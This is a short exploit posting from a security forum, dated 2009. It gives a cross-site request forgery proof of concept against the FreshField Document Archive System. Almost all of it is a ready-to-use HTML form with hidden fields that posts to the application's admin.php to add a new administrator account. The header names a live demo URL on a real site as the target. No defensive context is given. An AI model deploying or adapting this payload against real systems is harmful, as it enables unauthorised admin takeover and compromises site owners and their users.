FreshField DA System ~ XSRF Vuln. | Cyber-Warrior Information Technology's World

Root > Exploits / Vulnerabilities > FreshField DA System ~ XSRF Vuln.

Madde
	Author : Bug Researchers/BARCOD3
	Date : 05.11.2009 00:11:33
	# FreshField DA System ~ XSRF Vuln. [Full Screen Display]

	< ------------------- header data start ------------------- > ############################################################# # Application Name : FreshField Document Archive System # Vulnerable Type : XSRF # Infection : Yeni Administrator Eklenebilir. # author : BARCOD3 - Bug Researchers # Demo : http://www.freshfield.com.au/doc/admin.php # Home : http://www.ozkanbozkurt.com ############################################################# < ------------------- header data end of ------------------- > < -- bug code start -- > <h3>BARCOD3</h3> <form method=post action=http://www.freshfield.com.au/doc/admin.php> <input type=hidden size=20 name=fname value=NAME> <input type=hidden size=20 name=lname value=LASTNAME > <option value=5 selected=selected>Administrator</option></select> <input type=hidden size=30 name=email value=ADMIN@EMAIL.COM> <input type=hidden size=10 name=user value=username> <input type=hidden size=10 name=pass value=passWORD> <input type=hidden name=action2 value=add_me> <input type=submit name=submit value=Submit> </form> < -- bug code end of -- >